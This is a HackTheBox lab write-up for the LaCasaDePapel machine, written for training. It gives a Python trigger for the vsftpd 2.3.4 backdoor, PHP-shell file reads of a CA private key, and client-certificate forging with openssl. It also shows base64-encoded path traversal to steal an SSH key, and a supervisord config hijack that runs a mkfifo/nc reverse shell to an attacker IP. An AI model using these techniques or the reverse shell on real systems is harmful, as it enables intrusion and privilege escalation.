HTB: LaCasaDePapel Writeup
LaCasaDePapel - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | LaCasaDePapel |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | May 11, 2019 |
| IP Address | 10.10.10.131 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
LaCasaDePapel is an easy difficulty Linux box featuring a backdoored vsftpd 2.3.4 server that exposes a PHP shell with restricted function execution. Through the PHP shell, we extract a CA certificate from a user’s home directory, which we use to create a client certificate for HTTPS access. Once authenticated, an LFI vulnerability in the web application allows us to read the professor’s SSH private key. Finally, privilege escalation is achieved by exploiting inode manipulation to hijack a supervisord configuration file and execute a reverse shell as root.
TL;DR: Backdoored vsftpd → PHP shell → CA certificate extraction → Client certificate creation → LFI to SSH key → Inode hijacking of memcached.ini → Root shell.
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -T4 10.10.10.131Results:
21/tcp open ftp vsftpd 2.3.480/tcp open http Apache httpd 2.4.34443/tcp open https Apache httpd 2.4.346200/tcp open unknownService Enumeration
FTP (Port 21): vsftpd 2.3.4 running — a known backdoored version.
HTTP (Port 80): Displays a login page requiring OTP authentication via QR code (Google Authenticator). Standard QR code scanning doesn’t yield valid credentials.
HTTPS (Port 443): Returns an error requiring client certificate authentication. No certificate is initially available.
Port 6200: Unknown service — discovered later to be the backdoor shell access point triggered by the vsftpd exploit.
Vulnerability Assessment
- Backdoored vsftpd 2.3.4: A failed login attempt to the FTP service triggers a backdoor that opens port 6200 with shell access.
- Disabled PHP Functions: The PHP shell restricts certain functions like
shell_exec(), but file operations likefile_get_contents()andscandir()remain available. - CA Certificate Exposure: The CA private key is readable via the PHP shell in
/home/nairobi/ca.key. - Path Traversal/LFI: The HTTPS application’s
?path=parameter is vulnerable to directory traversal. - Inode Manipulation: The memcached.ini file can be renamed without permission loss, allowing privilege escalation.
Initial Foothold
Exploitation Path: Backdoored vsftpd → PHP Shell → SSH Key Extraction
Step 1: Exploit Backdoored vsftpd
The vsftpd 2.3.4 version contains a well-known backdoor. A failed login attempt triggers port 6200 to open with shell access.
import socketimport osimport time
def exploit(ip, port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port))
# Send malformed login to trigger backdoor sock.send(b'USER :)\n') sock.send(b'PASS HTBPass\n') time.sleep(2) sock.close()
# Connect to backdoored port 6200 os.system(f"nc {ip} 6200 -v")
exploit("10.10.10.131", 21)This opens a Psy Shell (PHP interactive debugger) on port 6200.
Step 2: Extract CA Certificate via PHP Shell
The shell has shell_exec() disabled but file_get_contents() works. First, enumerate home directories:
print_r(scandir("/home"))Discover users: nairobi, professor, berlin, denver, raquel.
Step 3: Read CA Certificate
Locate and read the CA certificate:
echo file_get_contents("/home/nairobi/ca.key")Copy the entire CA private key output to a local file named ca.key.
Step 4: Create Client Certificate
Download the server certificate from the HTTPS site (lock icon → Details → Export) and save as lacasadepapelhtb.crt.
Generate a client certificate:
# Generate client private keyopenssl genrsa -out client.key 4096
# Create certificate signing requestopenssl req -new -key client.key -out client.req
# Sign with CA certificateopenssl x509 -req -in client.req -CA lacasadepapelhtb.crt -CAkey ca.key \ -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
# Convert to PKCS12 format for browser importopenssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
# Cleanuprm client.key client.req client.cerStep 5: Import Certificate and Access HTTPS
Import client.p12 into Firefox (Preferences → Privacy & Security → View Certificates → Your Certificates → Import). Navigate to https://10.10.10.131 and select the imported certificate when prompted.
Step 6: Exploit LFI to Extract SSH Key
Once authenticated, a video downloader interface is visible. The download links use base64-encoded paths:
# Original path formathttps://10.10.10.131/file/U0VBU09OLTIvMDEuYXZp# Decodes to: SEASON-2/01.aviExtract the SSH private key by encoding the traversal path:
# Encode the SSH key pathecho -n '../.ssh/id_rsa' | base64# Output: Li4vLnNzaC9pZF9yc2E=
# Access the SSH keycurl -k https://10.10.10.131/file/Li4vLnNzaC9pZF9yc2E=Save the private key to id_rsa and set permissions:
chmod 600 id_rsaStep 7: SSH Access as Professor
Test the key against each discovered user. The key belongs to professor:
ssh -i id_rsa professor@10.10.10.131Successful login grants user flag access.
Privilege Escalation
Exploitation Path: Cron Enumeration → Inode Hijacking → Root Shell
Step 1: Enumerate Running Processes
Download and run pspy to monitor cron jobs:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64sscp -i id_rsa pspy64s professor@10.10.10.131:/tmp/pspyssh -i id_rsa professor@10.10.10.131chmod +x /tmp/pspy/tmp/pspyAfter monitoring, observe a cron job executing with root privileges:
CMD: /usr/bin/python3 -c import supervisor.eventlistener; supervisor.eventlistener.main(['--buffer-size', '100', '/dev/stdin'])This runs supervisord configuration from /home/professor/memcached.ini.
Step 2: Analyze Configuration File
Examine the target configuration:
cat memcached.iniOutput shows:
[program:memcached]command = /usr/bin/memcached -u rootThe file is owned by root and not directly writable by the professor user.
Step 3: Exploit Inode Manipulation
Linux renaming operations only change inode mappings, not file permissions. Since the user owns the directory containing memcached.ini, the file can be renamed:
cd /home/professormv memcached.ini memcached.ini.bakls -la memcached.ini.bak
# Verify permissions remain unchanged (still root-owned)Step 4: Create Malicious Configuration
Create a reverse shell script:
cat > /tmp/shell.sh << 'EOF'#!/bin/bashrm /tmp/fmkfifo /tmp/fcat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.16.32 1234 > /tmp/fEOF
chmod +x /tmp/shell.shStep 5: Hijack Configuration
Create a new memcached.ini in the professor’s home directory:
cat > /home/professor/memcached.ini << 'EOF'[program:memcached]command = su -c /tmp/shell.shEOFStep 6: Catch Root Shell
Set up a listener on the attacking machine:
nc -lvnp 1234When the supervisord cron job runs (typically within minutes), it executes the malicious command as root. The reverse shell connects back with root privileges:
# Connection received with root accesswhoami# root
cat /root/root.txtAttack Chain Summary
Backdoored vsftpd (Port 21) ↓PHP Shell on Port 6200 ↓Read CA Certificate (/home/nairobi/ca.key) ↓Generate Client Certificate (client.p12) ↓Access HTTPS Application ↓LFI Vulnerability (?path=../.ssh/id_rsa) ↓Extract SSH Private Key ↓SSH Access as professor ↓Monitor Crons (pspy) ↓Identify supervisord memcached.ini Execution ↓Inode Manipulation (rename memcached.ini) ↓Create Malicious Configuration ↓Root Shell via Reverse ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
netcat (nc) | Connecting to backdoored port 6200 |
| Python | Exploit script for vsftpd backdoor |
openssl | Generating and managing certificates |
| Firefox | Importing client certificate and testing HTTPS |
curl | Extracting files via HTTPS LFI |
ssh | Remote access as professor user |
pspy | Monitoring cron jobs and background processes |
nc | Reverse shell listener |
Key Learnings
Techniques Practiced
- Exploiting known vulnerabilities in outdated software versions (vsftpd 2.3.4 backdoor)
- PHP code execution within restricted environments (disabled_functions)
- X.509 certificate generation and client certificate authentication workflows
- Path traversal and Local File Inclusion (LFI) exploitation
- Base64 encoding/decoding for bypass techniques
- Linux inode concepts and file system manipulation
- Process monitoring with pspy for privilege escalation enumeration
- Supervisord configuration exploitation
Lessons Learned
-
Backdoored Versions Matter: Always check for known vulnerabilities in outdated service versions — vsftpd 2.3.4 is a textbook example exploited in real-world scenarios.
-
PHP Restrictions Are Not Absolute: Even with
shell_exec()disabled, file operations likefile_get_contents()andscandir()can extract sensitive information from the system. -
Certificate Management Is Exploitable: If CA keys are readable through any vector (in this case, a PHP shell), complete certificate generation becomes possible, undermining the entire HTTPS authentication scheme.
-
Directory Traversal + LFI = Compromise: Path parameters should always be validated. The combination of LFI and directory traversal led directly to SSH key extraction.
-
Understand Inode Behavior: File permissions are stored in inodes, but directory ownership controls rename operations. This distinction enables privilege escalation vectors like memcached.ini hijacking.
-
Cron Monitoring Is Essential: Using tools like pspy to identify recurring privileged operations reveals attack surfaces that static analysis might miss.
-
Configuration File Hijacking: Supervisord and similar init systems read configuration from predictable locations. If users can manipulate these files (via inode tricks or direct access), code execution at the service’s privilege level becomes trivial.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>